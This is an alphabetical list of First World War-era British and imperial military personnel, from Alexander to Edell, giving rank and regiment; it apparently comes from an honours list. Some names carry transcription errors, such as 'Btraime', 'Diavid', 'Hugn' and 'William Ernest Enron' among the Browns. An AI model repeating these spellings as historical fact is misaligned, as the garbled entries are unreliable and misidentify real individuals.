Capt. Charles Adam Murray Alexander Royal Inniskilling Fusiliers
Lt. Charles William Allen, Royal Arty.
Capt. Clarence George Allen, Army Service Corps
2nd Lt. Daniel Frank Allen, Royal Field Arty.
Lt. Edward Allen, Royal Garrison Arty.
Battery Sergeant Major Edward Allen, Royal Garrison Arty.
Tmp Capt. Ernest Mortimer Allen, Hampshire Reg.
Tmp Capt. George William Graham Allen, Tank Corps
Lt. Charles Walter Allfrey, Royal Horse Arty.
C.S. Maj. Frank Allsopp, North Lancashire Reg.
Tmp Lt. Herbert Alnwick, West Yorkshire Reg.
Tmp Lt. Ernest Haik Riddall Altounyan RAMC
Tmp Capt. John Goldwell Ambrose, Royal Engineers
Capt. William Gerald Ambrose Cheshire Reg., and Nigeria Reg.
Capt. Francis Sainthill Anderson, Royal Horse Arty.
Lt. George Frederick Anderson, King's Royal Rifle Corps
Q.M. and Hon. Lt. James Elphinstone Bocquet Anderson, Liverpool Reg.
Capt. John George Anderson, RAMC
Capt. Aubrey Claude Anderton, Royal Engineers
Q.M. and Hon. Lt. James Edward Hill Anderton, RAMC
Capt. James Collingwood Andrews, London Reg.
Capt. Herbert William Andrews, Leinster Reg.
Tmp Lt. Robert Stuart Andrews, Argyll and Sutherland Highlanders
Capt. Arthur Stanley Angwin, Royal Engineers
Capt. John Archibald Angus, York & Lancaster Reg.
Capt. George Henry Anon, Yeomanry
Capt. Philip Humphrey Antrobus, Irish Guards
Capt. Robert Weniyss Muir Arbuthnot, Royal Field Arty.
2nd Lt. David Archibald, Royal Highlanders
Tmp Capt. Robert Richmond Archibald RAMC
Tmp Capt. John Thompson Argent, Royal Engineers
Tmp Capt. Charles William Arnett, Army Ordnance Depot
2nd Lt. Charles Francis Arrowsmith, Liverpool Reg.
Capt. Harold Garten Ash, London Reg.
Tmp Lt. William James Asher, Nottinghamshire and Derbyshire Reg.
Capt. Peter Ashton, Herefordshire Reg.
2nd Lt. George Ashwell, Tank Corps
2nd Lt. Kenneth Ingham Aspinall, Norfolk Reg.
2nd Lt. Vivien Lindsey Aspland, Royal Engineers
Tmp 2nd Lt. Archibald Matthew Neal Aston, Royal Garrison Arty.
Lt. Fred Atkinson, Liverpool Reg.
2nd Lt. John Corbett Atkinson, Royal Engineers
Tmp 2nd Lt. Albert Henry Austin, Royal Warwickshire Reg.
Capt. Thomas Aveling, Royal Garrison Arty.
Lt. Edmund Portman Awdry, Yeomanry
2nd Lt. Percy Ronald Ayers, Welsh Reg.
2nd Lt. Evelyn Frederick Bacon, Royal Engineers
Tmp Capt. Lionel Ashley Baddeley, Army Service Corps
2nd Lt. George Norman Bagley, Royal Field Arty.
2nd Lt. Charles Edward Kerwia Bagot, Connaught Rangers
Capt. William Browne Bagshaw, Manchester Reg.
C.S. Maj. Arthur Bailey, Gloucestershire Reg.
Tmp Capt. Charles Bailey, Royal Dublin Fusiliers
2nd Lt. John Wallis Bailey, Royal Engineers
Lt. Andrew Ramsay Bain, Argyll and Sutherland Highlanders
Tmp Lt. Lewis Bam, Royal West Surrey Reg.
Tmp Capt. Anthony Hugh Bambridge, North Staffordshire Reg.
Lt. Arthur Septimus Baines, Royal Engineers
Tmp Capt. George Philip Baines, Durham Light Inf.
Capt. John Hardcastle Baines, Royal Field Arty.
Capt. Cecil Avery Baker, South Wales Borderers
Tmp Capt. Geoffrey Lewis Vashon Baker, Army Service Corps
Tmp Lt. Charles Percy Lionel Balcombe, Royal Engineers
Capt. Edward William Sturgis Balfour Dragoon Guards
2nd Lt. Arthur Hugh Ball, Royal Garrison Arty.
2nd Lt. George Henry Ball, Royal Garrison Arty., Spec. Reserve
Q.M. and Temp Honorary Lt. John Thomas Ball, Manchester Reg.
Rev. Robert Wilfred Balleine, Royal Army Chaplains' Dept.
Lt. Hugh Gordon Bambridge, Royal Engineers
Tmp Capt. Harold Bancroft, Royal Field Arty.
2nd Lt. Edgar Lance Banfield, Royal Irish Fusiliers
Tmp Capt. John Wilson Bansall, Royal Engineers
Tmp Lt. Francis James Neville Barber, Royal Field Arty.
Tmp Sub-Lt. Leonard William Barber, Royal Naval Volunteer Reserve, attd. Machine Gun Company
Capt. John Hamilton Barbor, Army Service Corps
2nd Lt. William John Barclay, London Reg.
Tmp Capt. William Keith Barclay, Royal Lancaster Reg.
Tmp Lt. Edward Arthur Baring-Gould, Intelligence Corps
Tmp 2nd Lt. Arthur Herbert Barltrop, West Yorkshire Reg.
Lt. Henry Kentish Barnes Royal Horse Arty.
Tmp Lt. Percy Barnfather, Middlesex Reg.
Capt. Donald Gordon Barnsley, Gloucestershire Reg.
Lt. John Barnwell, Leinster Reg., attd. Machine Gun Corps
Lt. John Ashworth Barraclough, Royal Lancaster Reg., attd. Machine Gun Corps
2nd Lt. James Barratt, Manchester Reg.
Tmp Lt. Ernest Gibbons Barrell, attd. Oxfordshire & Buckinghamshire Light Inf. and Machine Gun Corps
Q.M. and Hon. Lt. Walter Richard Michael Barrett, Royal Wiltshire Yeomanry
Capt. Albert Henry Darley Barren, Inf.
Act. Lt. Harold Eustace Barrow, Liverpool Reg.
Lt. John Nelson Barstow, Royal Field Arty.
Tmp Capt. Bertram Friend Bartlett, RAMC
Tmp 2nd Lt. Clarence Townley Barton, Royal Field Arty.
Tmp Lt. Martin Batchelor, King's African Rifles
Lt. Alfred Bates, East Lancashire Reg.
Tmp Lt. Fred Luntley Battershill, Royal Irish Rifles
Lt. Ernest Edward Battle, York & Lancaster Reg.
Tmp Lt. Percy Bayley, Army Service Corps
2nd Lt. Percy Bayliss, Royal Scots
Tmp 2nd Lt. Arthur Gerald Baynham, Tank Corps
Tmp Capt. Eric Beadon, Army Service Corps
Tmp Capt. Alan Beal, Royal Field Arty.
Tmp Capt. John Richmer Beall, South Lancashire Reg.
Lt. Charles William Beart, Durham Light Inf.
Capt. Charles Elles Stuart Beatson, Royal Field Arty.
Capt. Robert Harvey Beaufoy, London Reg.
Lt. Gerald Beaumont, Yorkshire Light Inf.
Tmp Lt. John Somerville Beaumont, General List
Tmp Lt. Maurice James Beavis, Royal Arty.
Capt. James Geoffrey Brydon Beazley, Liverpool Reg.
Lt. Edward Overington Becher, Royal Field Arty.
2nd Lt. Thomas Beck, Highland Light Inf.
Tmp Capt. Geoffrey Reid Arnett Beckett, Gloucestershire Reg.
Lt. Clive Walter Beckingham, Royal Field Arty.
C.S. Maj. Robert Frederick Beckley, King's Royal Rifle Corps
Lt. James Robert Bedwell, Royal Garrison Arty. and Royal Flying Corps
2nd Lt. Reginald Francis Beech, Northamptonshire Reg. and Gold Coast Reg.
Capt. Ronald Philipps Glynn Begbie, Royal Garrison Arty.
Capt. Anthony Harley Mark Bell, Hussars
Lt. Douglas Ward Bell, Worcestershire Reg., attd. Machine Gun Corps
Capt. Henry James Bell, Yeomanry
2nd Lt. Leonard Charles Bell, Royal Highlanders
Tmp 2nd Lt. Brian Maude Bellasis, Gloucestershire Reg.
Lt. Gilbert Charles Beloe, Gloucestershire Reg.
Tmp Capt. Edward Benoe-Trower, South Wales Borderers
Tmp Lt. Ernest Wallace Benson, Bedfordshire Reg.
Lt. Francis Riou Benson, Yeomanry
Tmp 2nd Lt. Norman de Mattes Bentwich, Special List
Tmp 2nd Lt. John Bennett, Royal Flying Corps
Capt. George de la Poer Beresford, Cav., Indian Army
Rev. Harry Percy Berkeley, Royal Army Chaplains' Dept.
Tmp Capt. Esmé Beranger Beauchamp Berrange, Royal West Surrey Reg.
Lt. Jesse Dell Berndge, Royal Engineers
Tmp Sub-Lt. John Hulme Bessell, Royal Naval Volunteer Reserve
Rev. John Kenneth Best, Royal Army Chaplains' Dept.
Tmp Lt. Diavid Jardine Bethell, Scots Guards
Battery Sergeant Major Edward Harold Bette, Royal Garrison Arty.
Tmp Capt. John Valentine Betts, Royal Engineers
Tmp Lt. Alexander Braithwaite Bevan Bevan, Royal Engineers
Capt. Henry Vincent Bevington, London Reg.
Capt. Benjamin John Bewley, Royal Garrison Arty.
Tmp 2nd Lt. Theophilus Beynon, General List
B.Q.M. Sgt. Henry Bibby, Lancashire Fusiliers
Rev. Kenneth Julian Faithfull Bickersteth, Royal Army Chaplains' Dept.
Lt. Arthur Bicknell, Gloucestershire Reg.
Tmp 2nd Lt. Charles Leslie Pinckard Biggar, Hampshire Reg.
Tmp Lt. Edward Hugh Bandloss, Headquarters, Royal Field Arty.
Capt. Percy Carr Bird, Gordon Highlanders, attd. Machine Gun Corps
Tmp Capt. Oswald Hornby Joseph Birley, Intelligence Corps
Tmp Lt. Granville Baylis Powell Birtles, Royal Engineers
Capt. Thomas Edward Bisdee, Duke of Cornwall's Light Inf.
Tmp 2nd Lt. Alfred Harold Bishop, Royal Engineers
Lt. Frank Cyril Bishop, London Reg.
2nd Lt. Eric Bisset, Northumberland Fusiliers
Tmp Lt. Leonard Frederick Bittles, Essex Reg.
Lt. John Robert Black, Seaforth Highlanders
Capt. Norman Valentine Blacker, East Yorkshire Reg., attd. Machine Gun Corps
Tmp Sub-Lt. Leonard Anderson Blackball, Royal Naval Volunteer Reserve
Capt. Hans Frederick Blackwood, Yorkshire Reg., attd. Machine Gun Corps
Lt. Charles Edwin Norman Blake, Royal Field Arty.
Hon. Lt. William Atherstone Blake, Intelligence Dept.
Tmp Capt. John Edward Blakemore, Royal Field Arty.
Tmp Lt. George Frederick Blakesley, Special List
Capt. Owen Geoffrey Blayney, Northumberland Fusiliers
Tmp Capt. Maurice Frederick Bliss, RAMC
R.S. Maj. Josiah Bloomfield, Royal Sussex Reg.
Tmp Lt. Roland Charles Biolmbroke, Suffolk Reg.
Tmp Capt. Richard Bolton, West Riding Reg.
Lt. James Ferguson Bomford, Worcestershire Reg.
Rev. Basil Kendall Bond, Royal Army Chaplains' Dept.
Lt. Thomas Booth, Connaught Rangers
Tmp 2nd Lt. Edward Fullerton Borrie, Royal Engineers
Q.M. and Hon. Capt. Francis Sydney Boshell, Royal Berkshire Reg.
Tmp Capt. Philip Rutherford Boswell, RAMC
2nd Lt. George Gerald Randall Bott, South Lancashire Reg.
Rev. Aloysius M. Bouchier, Royal Army Chaplains' Dept.
Tmp Lt. Donald Boumphrey, Machine Gun Corps
Lt. James Bourke, Leinster Reg., attd. Machine Gun Corps
Tmp Capt. Robert Leonard Sowen, King's Royal Rifle Corps
Tmp Lt. Francis William Bowman, Nyasaland Field Force
Lt. Gerald Wilberforce Bowman, Royal Field Arty.
Tmp Lt. William Everett Bowmass, Royal Field Arty.
Tmp 2nd Lt. Alfred Boacall, Royal Engineers
Lt. Percy Boxall, Army Service Corps
Capt. John Francis Croft Boyes, Royal Field Arty.
Tmp Lt. Ernest Franklin Bozman, Royal West Kent Reg.
Lt. Philip Holmes Bradbury, Welsh Reg.
Lt. Albert Bradley, Cheshire Reg.
Tmp 2nd Lt. William James Bradley, Gloucestershire Reg.
Lt. William Lawrence Bragg, Royal Horse Arty.
Lt. George Btraime, North Staffordshire Reg.
R.S. Maj. William George Brain, Gloucestershire Reg.
Capt. Champion Andrew Branfill, Yeomanry
Lt. William Russell Brazier, Royal Garrison Arty.
Capt. Charles Gordon Brentnall RAMC
Tmp 2nd Lt. Douglas Lancelot Brereton, Royal Engineers
Tmp 2nd Lt. Reginald de Renzie Brett, General List and Royal Flying Corps
2nd Lt. Oswald George Breul, Royal Engineers
Tmp Lt. Cecil Baron Briggs, Royal Engineers
2nd Lt. Herbert George William Brinsley, Royal Garrison Arty.
Lt. Harry Brissenden, Royal Garrison Arty.
Lt. John Jeffries Britten, Royal Field Arty.
Tmp Lt. Arthur Frederick Britton, General List and Royal Flying Corps
Lt. Arthur Vernon Broadbent, West Riding Reg.
Capt. Edgar Richard Broadbent, Hussars
Capt. Edric William Broadberry, Essex Reg., and Royal Flying Corps
Lt. Arthur Gordon Brock, East Kent Reg.
C.S. Maj. Edward Clarence Brock Essex Reg.
2nd Lt. Cyril Elcomb Brockhurst, Yorkshire Reg.
Capt. Patrick Tait Brodie, General List, King's African Rifles
Lt. Godfrey Leveson Brooke-Hunt, Indian Army Reserve of Ofc.s
2nd Lt. William James Brooks, Royal Field Arty.
Tmp 2nd Lt. Andrew Terras Brown, West Yorkshire Reg.
Lt. Francis War burton Brown, Seaforth Highlanders
Lt. Frank Cooper William Brown, Leinster Reg.
Lt. John Brown, Royal Flying Corps
Lt. Niman Stewart Brown, Royal Field Arty.
Tmp Capt. Orlando Moray Brown, Royal Engineers
Tmp Lt. Robert Harold Brown, North Staffordshire Reg.
Tmp Capt. Stewart Charles Brown, Royal Field Arty.
Lt. Walter James Brown, South Lancashire Reg.
Tmp Capt. William Ernest Enron, South Wales Borderers
Tmp Lt. William Neilson Brown, Gordon Highlanders
Tmp Capt. William Rae Brown, Royal Field Arty.
Lt. Cyril Edward Browne, Army Service Corps
Tmp Lt. Harold Edward Browne, Royal Engineers
Tmp Lt. Percival Hugh Browne, Army Cyclist Corps
Lt. Walter Robinson Brownell, Liverpool Reg.
2nd Lt. Frank Edwin Browning, Gloucestershire Reg.
Tmp 2nd Lt. John Selwyn Browning, West Riding Reg.
Lt. Nevil Charles Dowell Brownjohn, Royal Engineers
Lt. Alexander Livingstone Bruce, Reserve of Ofc.s
Lt. George Burnley Bruce, West Riding Reg.
Lt. Dominick Nicholas Brunioardi, Royal Welsh Fusiliers
Tmp Capt. Arthur Gilbert Bryant, Army Service Corps
2nd Lt. Frederick George Bryant, Royal Engineers
Lt. Herbert Disbrow Brydone-Jack, Royal Field Arty.
Capt. George Brymer, Royal Garrison Arty.
Capt. Thomas Ogilvy Malcolm Buchan, Royal West Surrey Reg.
Tmp Lt. Walter Buchanan-Smith, Nigeria Reg.
Tmp Capt. Sydney Thacker Buck, Royal Sussex Reg.
Capt. Charles Dudley Maybury Buckley, RAMC
Tmp Capt. James Christopher Bull, West Riding Reg.
Tmp Lt. Stanley Crossland Bullock, Royal Engineers
Capt. Sidney Waterfield Bunker, Royal Fusiliers
2nd Lt. Arthur Hanley Bunning, Royal Garrison Arty.
Capt. Thomas George Deane Burdett, Royal Welsh Fusiliers
Q.M. and Temp Honorary Lt. Robert Douglas Burgess, Royal Fusiliers
Rev. William Gaisford Burgis, Royal Army Chaplains' Dept.
Tmp 2nd Lt. Harold French Burke, Royal Arty.
Rev. Henry Beaumont F. Burnaby, Royal Army Chaplains' Dept.
Tmp Lt. Hugh Hanton Burness, Royal Garrison Arty.
Capt. James Burnie, Liverpool Reg.
Rev. Robert Francis Burrow, Royal Army Chaplains' Dept.
Tmp 2nd Lt. Alfred Edward Burrowes, Royal Dublin Fusiliers
Tmp Capt. Charles Selss Burrows, Northumberland Fusiliers
Tmp 2nd Lt. Ralph Withers Burton, East Surrey Reg., attd. Machine Gun Corps
Lt. Thomas Henry Burton, Royal Marine Light Inf.
2nd Lt. William Edgar Bush, Yorkshire Reg.
Tmp 2nd Lt. Leslie Raymond Butlin, Machine Gun Corps
Tmp Capt. Alick Byass, Army Service Corps
Tmp Lt. John Osmer Byrne, Northumberland Fusiliers
Lt. Frederick Jonathan Bywater, Royal Engineers
Lt. Felix Clement Vincent Digby Caillard, Somerset Light Inf.
Lt. Francis Herbert Cairnes, Royal Field Arty.
C.S. Maj. Richard Martin Callendor, London Reg.
2nd Lt. William Cam, Royal Garrison Arty.
Tmp Capt. Alan Charles Cameron, Devonshire Reg.
Tmp Capt. John Jackson Cameron, South Staffordshire Reg.
Tmp Capt. Angus Campbell, RAMC
Lt. George Campbell, Royal Field Arty.
Tmp Capt. George Maclean Campbell RAMC
Tmp Capt. Herbert Campbell, General List
Tmp 2nd Lt. Hugh Campbell, Royal Engineers
Capt. Norman Robertson Campbell, Highland Light Inf.
Tmp 2nd Lt. George Murray-Campigh, General List
Tmp 2nd Lt. Cyril Victor Canning, Suffolk Reg.
Capt. Neil Canthe RAMC
Lt. Arthur Aloysius Carberry, Manchester Reg.
Tmp Capt. Robert Holegate Cardwell, Royal Engineers
Capt. Arthur George Cardy, Oxfordshire & Buckinghamshire Light Inf.
2nd Lt. Eric Carhart, North Staffordshire Reg.
Tmp Capt. Alfred Edward Carr, Tank Corps
Lt. Arthur Ralph Carr, Royal Garrison Arty.
Tmp Lt. Arthur Leonard Carroll, Royal Engineers
Tmp Lt. Arthur Borwood Carter, Machine Gun Corps
Lt. John Lovelace Carter, Army Service Corps
2nd Lt. Stanley Cyril Cartel, Royal Engineers
Lt. William Carter, Royal Lancaster Reg.
Capt. Francis Xavier Shakeshaft Carus, Royal Field Arty.
Tmp Capt. Reginald John Cash, North Lancashire Reg.
Capt. Richard Bewley Caton, Norfolk Reg.
Tmp Capt. Leonard Arthur Cattley, East Yorkshire Reg.
Tmp Capt. George Caulfield, Highland Light Inf.
Capt. Frederick George Cavendish, Leinster Reg.
Tmp Capt. Ronald de Bode Cazalet, Intelligence Corps
Tmp Lt. Percy John Cazes, General List, attd. Nyasaland Field Force
Lt. Frank Chadwick, King's Royal Rifle Corps
2nd Lt. William Chalmers, Argyll and Sutherland Highlanders, attd. Machine Gun Corps
2nd Lt. Reginald Percy Chamberlain, Royal Engineers
Lt. Theodore Gervaise Sandeman Chamber, Royal Garrison Arty.
Capt. Eric Adrian Charles Deschamps Chamier, Lincolnshire Reg.
Tmp Lt. Alfred Leonard Chandler, Army Service Corps
Lt. Cyril John Chandler, Royal Field Arty.
2nd Lt. Guy Dunston Channon, Royal Field Arty.
Tmp Capt. Arthur Randolph Chapman, General List
Tmp 2nd Lt. Arthur Sutherland Chapman, Argyll and Sutherland Highlanders
Lt. Godfrey Markhaon Charton, Intelligence Dept.
Lt. Arthur James Child, London Reg.
Tmp Capt. Corrie Denew Chase, Royal Irish Rifles
Capt. Francis Clervaux Chaytor, Royal Field Arty.
Lt. Charles Christie, Army Service Corps
Tmp Capt. Charles William Christie, Scottish Rifles
Capt. Geoffrey Christie-Miller, Oxfordshire & Buckinghamshire Light Inf.
Lt. Arthur Church, Intelligence Dept.
Tmp Lt. Basil Hampden Church, Royal Garrison Arty.
Tmp Capt. Valentine William Bland Church, Royal Garrison Arty.
Lt. Ernest Swann Chuter, Royal Garrison Arty.
Tmp Capt. Thomas Clapperton, East Kent Reg.
Lt. Algernon Basil Clark, Royal Highlanders
Capt. Edmund Graham Clark, Army Service Corps
Tmp Capt. Frederick William Clark, Royal Engineers
2nd Lt. Firstbrook Clarke, North Staffordshire Reg.
Battery Sergeant Major James Clarke, Royal Field Arty.
2nd Lt. Paul Humphrey Clarke, Royal Garrison Arty.
Capt. William Arthur Clarke, London Reg.
Rev. Philip Thomas Byard Clayton, Royal Army Chaplains' Dept.
Tmp Capt. Carleton Main Clement, General List and Royal Flying Corps
Tmp Capt. Raymond George Heibert Clements, Royal Engineers
Rev. Thomas Hartley Cleworth, Royal Army Chaplains' Dept.
Tmp Lt. Robert Clews, Royal Engineers
Tmp Lt. Bertram Clifford, Army Ordnance Depot
Tmp Lt. Edmund Henry Clokey, Machine Gun Corps
Capt. Arthur Butler Clough, Royal Engineers
Lt. Eric Hamifton Coad, Royal Field Arty.
Tmp Capt. William North Coates, Royal Garrison Arty.
Capt. James Stuart Coats, Coldstream Guards
Tmp Capt. PeterCochran, Royal Engineers
2nd Lt. James Aikman Cochrane, Royal Scots Fusiliers, and Royal Flying Corps
Tmp Capt. Frederick Pepys Cockerell, Special List
Tmp 2nd Lt. Frank Heibert Colebrook, Royal Engineers
Lt. Herbert Cecil Coleman, Royal Sussex Reg.
Lt. Lewis Coleman, Royal Field Arty.
Capt. Ernest Alfred Coles, London Reg.
Capt. James Collioun, Royal Inniskilling Fusiliers
Lt. Cecil Bernard Romer Collenette, London Reg.
Lt. Angus Lyell Collier, Cameron Highlanders
Lt. Samuel Collier, Cheshire Reg., and Royal Flying Corps
Tmp Capt. William Ttegonwell Collier, RAMC
Rev. Ignatius Collins, Royal Army Chaplains' Dept.
Capt. John Gordon Collins, Worcestershire Reg., and Nigeria Reg.
Hon. Lt. Edward Oliver Collison, Army Ordnance Depot
Lt. Francas John Colston, Royal Field Arty.
Capt. Christopher Comely, Monmouthshire Reg.
2nd Lt. George William Coney, Royal Field Arty.
Capt. William MaitLand Congreve, Royal Garrison Arty.
Capt. Clifford Edward Constable, King Edward's Horse
Rev. Daniel Conway, Royal Army Chaplains' Dept.
Tmp Capt. Frederick Charles Cook, Royal Engineers
Tmp Capt. BrianKennedy Cooke, Oxfordshire & Buckinghamshire Light Inf.
Rav Henry Robert Cooke, Royal Army Chaplains' Dept.
Tmp Capt. John Campbell Cooke, General List
Tmp Lt. John Harbourne Cooke, Royal Garrison Arty.
Tmp Capt. Ronald Campbell Cooke, RAMC
Lt. Henry Guy Cooper, Indian Army Reserve of Ofc.s
Tmp Lt. Ralph Cooper, Royal Field Arty.
Tmp Capt. Robert William Cooper, General List
Capt. Walter Cooper, Royal Field Arty.
Tmp Lt. John Coote, Royal Naval Volunteer Reserve
Capt. Charles Cope, Liverpool Reg.
Lt. George Arnold Cope, attd. Royal Garrison Arty.
Capt. Hugh Tithe Copinger-Hill, Suffolk Reg.
Lt. Leonard Cordingley, West Riding Reg.
Lt. William Myles Fenton Corry, Royal Field Arty.
Tmp Capt. Alexander Kirkpatrick Cosgrave RAMC
Capt. Thomas Joseph Costello RAMC
Rev. James Aloysius Cotter, Royal Army Chaplains' Dept.
C.S. Maj. Sidney Herbert Court, Coldstream Guards
Tmp Lt. Stephen Lewis Courtaud, Worcestershire Reg., attd. Machine Gun Corps
Rev. Félix Couturier, Royal Army Chaplains' Dept.
2nd Lt. John Cowan, Royal Scots
Lt. Walham Alexander Cowan, Royal Garrison Arty.
Lt. John Ignatius William Cowgill, Nottinghamshire and Derbyshire Reg.
Lt. Charles John Cowley, Welsh Reg.
Capt. Victor Leopold Spencer Cowley, Royal Irish Rifles, attd. Machine Gun Corps
2nd Lt. William Eric Cowlishaw, North Staffordshire Reg.
Capt. Arthur Leslie Cowtan, London Reg.
Lt. Alfred Hope Gordon Cox, Nottinghamshire and Derbyshire Reg.
Capt. Lionel Howard Cox, Gloucestershire Reg. and Machine Gun Corps
Lt. William Hofmeyr Craib, Royal Field Arty.
Tmp Capt. Robert Ritchie Craig, Border Reg.
Capt. Thomas Edgar Craik, Yorkshire Light Inf., attd. Machine Gun Corps
2nd Lt. Herbert Cranage, Royal Engineers
Tmp Lt. Charles Tennyson Cranswick, Royal Engineers
Tmp Capt. Sidney Cranswick, Yorkshire Reg.
Capt. Alan Edzle Crawford, Royal Garrison Arty.
Capt. John Risdon Murdoch Crawford, Royal Engineers
Lt. Richard William Bunney Crawford-Clarke, Royal Garrison Arty.
Lt. Stanley William Francis Crofts, London Reg.
Tmp Capt. James Adrian Crombie, Royal Field Arty.
Capt. Harold Powell Crosland, Yeomanry
Tmp Capt. Alfred Frank Cross, Royal Welsh Fusiliers
Tmp Lt. Arthur Max Cross, Suffolk Reg.
Lt. Maurice Edmund Crossland, London Reg.
Lt. Francis Harrie Crouch, Lancashire Fusiliers
2nd Lt. Percy Crouch, Leicestershire Reg.
Tmp 2nd Lt. Thomas Alexander Crozier, Royal West Surrey Reg.
Tmp Capt. Hugh Ellis Davies Cullen, South Staffordshire Reg.
Capt. James Crossley Cunningham, Argyll and Sutherland Highlanders, attd. Machine Gun Corps
Tmp Lt. Thomas John Cunnison, Royal Field Arty.
Tmp Capt. Elliott Bailhe Currie, Royal Engineers
Lt. John Ralph Willoughby Curtois, Royal Field Arty.
Capt. Robert Frederick Cuthbert, Oxfordshire & Buckinghamshire Light Inf.
Tmp 2nd Lt. Francis George Cutts, Royal Engineers
Capt. Terence Joseph Daintith, Indian Postal Service
2nd Lt. Frederick Dale, King's Own Scottish Borderers
Lt. Charles Dalton, Royal Fusiliers
Lt. James Naughton Dandie, Royal Garrison Arty.
Tmp Lt. Reginald George Dianks, Royal West Surrey Reg.
Tmp 2nd Lt. Henry Herbert Darby, Rifle Brigade
Lt. Alexander Spears Darrooh, Liverpool Reg.
2nd Lt. James Daxroch, Liverpool Reg.
Capt. Richard Charles Gordon Dartfard, London Reg.
Lt. Charles Galbon Darwin, Unattd. List
2nd Lt. Arthur Allan Orme Davenport, East Lancashire Reg.
Tmp Capt. Arthur Henry Davenport, Royal Engineers
Lt. Geoirge Brooking Davey, Liverpool Reg.
Tmp Capt. John Poison Davidson RAMC
Tmp 2nd Lt. John Davie, Royal Scots
Capt. Thomas McNaughbon Davie, RAMC
Tmp Capt. Arthur Rowland Davies, Royal Engineers
Capt. Henry Davies, Royal Engineers
Capt. Henry David Kingsley Davies, Northumberland Fusiliers
Tmp Capt. James Henry Davies, General List
C.S. Maj. Tom Davies, Royal Welsh Fusiliers
Lt. Alexander Horace-Davis, Royal Garrison Arty.
Tmp Capt. Howard John Vaisey Davis, Army Service Corps
Q.M. and Hon. Lt. James Davis, RAMC
Tmp Capt. James Frederick Davison, General List and Royal Flying Corps
R.S. Maj. John James Dawkins, Royal Warwickshire Reg.
Lt. Samuel Dawson, Royal Arty.
Rev. Henry Cyril Day, Royal Army Chaplains' Dept.
Lt. Julian Day, Yeomanry
Capt. Richard Day, Royal Field Arty.
Capt. Ernest Betton Deakin, Essex Reg.
Tmp Lt. Albert Gardner Dean, South Lancashire Reg.
Sgt. Major David Edward Dean, RAMC
Tmp 2nd Lt. Harold Dean, Yorkshire Reg.
Tmp Lt. Colin Hermann Deane, Army Ordnance Depot
Tmp Capt. Henry Speldewinde de Boer, RAMC
Tmp Capt. George Dekin, Royal Fusiliers
Lt. Victor Shore de Fleurriet Delaforce, Royal Field Arty.
Tmp 2nd Lt. Frank Delves, Nottinghamshire and Derbyshire Reg.
Rev. Henry Demaison, Royal Army Chaplains' Dept.
Capt. Jacob Demeza, London Reg.
Tmp Capt. George Barlow Dempsey, Manchester Reg.
Tmp Capt. James Arthur Dermot Dempsey, Royal Flying Corps
Tmp Lt. Percival Barr Denison, Army Ordnance Depot
Tmp Capt. Raymond Hugh Denman, Royal Arty.
Tmp 2nd Lt. William Henry Denne, Wiltshire Reg.
Tmp Capt. Frederick Stephenson Dent, Army Cyclist Corps
Capt. John Finlay Dew, Scottish Rifles, Spec. Reserve
Lt. Gerald Knocker Dibb, Royal Field Arty.
2nd Lt. Frederick Charles Dice, Dorsetshire Reg.
Tmp Capt. Robert Dickie, Argyll and Sutherland Highlanders
Lt. Norman Ernest Valentine Dicks, Royal Irish Fusiliers
Tmp Lt. Arthur Larimer Dickson, Army Ordnance Depot
Capt. Ian Dunbar Dickson Royal Army Medical Corps (RAMC)
Lt. Richard Wale Gordon Dill, Life Guards
Capt. William Alfred Dimoline, East Surrey Reg.
Capt. Sydney Cecil William Disney, Lincolnshire Reg.
Tmp Lt. Henry Philip Dix, Royal Naval Volunteer Reserve
Tmp Capt. Oswald Dixon, East African Vet Corps
2nd Lt. William Leonard Price Dobbin, Royal Irish Rifles
C.S. Maj. Walter Harry Dobson, Machine Gun Guards
Tmp Capt. John Freeman Dodd, Durham Light Inf.
Rev. Rowland Pocock Dodd, Royal Army Chaplains' Dept.
Lt. Peter Doig, Royal Engineers
Lt. William Donald RAMC
Tmp Sub-Lt. Richard Donaldson, Royal Naval Volunteer Reserve
Tmp Capt. Francis Donnelly, Royal Engineers
Capt. Gordon Huxley Donnelly, Royal Garrison Arty.
Tmp 2nd Lt. Cyril Bernard Donovan, Royal Dublin Fusiliers
Lt. Thomas Donovan, Royal Garrison Arty.
Lt. Edward Doolan, Army Service Corps
Tmp Lt. George Vibert Douglas, Royal Engineers, Northumberland Fusiliers
Tmp Capt. Percy Gordon Douglas, Royal Engineers
2nd Lt. William George Dove, Royal West Kent Reg.
Lt. John William Downes, Yeomanry
Capt. Walter Douglas Downes, Royal Sussex Reg. and Nigeria Reg.
Tmp Capt. Frederick Joseph Downey, Northumberland Fusiliers
Q.M. and Hon. Capt. Sidney Downing, Devonshire Reg.
Tmp Capt. Aubrey Osier Dowson, Rifle Brigade
Tmp Lt. Henry Dinham Drew, Machine Gun Corps
Tmp Lt. Percy Frederick Drew, Royal Sussex Reg.
2nd Lt. Arthur Driver, West Riding Reg.
Tmp Capt. Godfrey Rolles Driver, Graves Regn. Unit
Lt. John Christopher Druce, East Surrey Reg.
Capt. John Ebenezer Drysdale, Army Service Corps
Capt. Thomas Gerard du Buisson, Royal Field Arty.
Tmp Capt. George Vernon Dudley, Royal Garrison Arty.
Lt. Charles Gordon Duff, Royal Field Arty.
Capt. Granville John Burnley Duff, Norfolk Reg.
Lt. Walter Geoffrey Dugdale, Yeomanry
Tmp Lt. Henry Hare Dugmore, King's African Rifles
Tmp Capt. Reginald George Fitzroy Dumaresq, Machine Gun Corps
Capt. Carlyle MacGregor Dunbar, late Hussars
C.S. Maj. David Duncan, Argyll and Sutherland Highlanders
Capt. Hugn Stewart Duncan, Royal Field Arty.
2nd Lt. Lancelot Duncan, Gordon Highlanders
Tmp Lt. Charles Henry Dunkley, Royal Engineers
Tmp 2nd Lt. Thomas William Edgar Dunkley, Dorsetshire Reg.
Tmp 2nd Lt. Patrick Dunne, Royal Engineers
Lt. Frederick Eustace Dunsmuir, Highland Light Inf.
Tmp Lt. James Gordon Durham, General List
2nd Lt. Donald James Duthie, Royal Warwickshire Reg.
2nd Lt. Andrew Marshall Duxbury, Oxfordshire & Buckinghamshire Light Inf.
Q.M. and Hon. Lt. Harry Dymore, Royal Scots
2nd Lt. Eric Eadie, Royal Inniskilling Fusiliers
Tmp Lt. Arthur Charles Henry Eagles, Army Ordnance Depot
Lt. Henry Parslow Eames, Royal Engineers
Q.M. and Hon. Capt. Leonard Eastmead, Rifle Brigade
Tmp Lt. Harold Edmund Eastwood, Army Ordnance Depot
Lt. John Patrick Echlin, Royal Engineers
Tmp Sub-Lt. Charles James Eddolls, Royal Naval Volunteer Reserve
Lt. Ivan John Edell, Royal Field Arty.
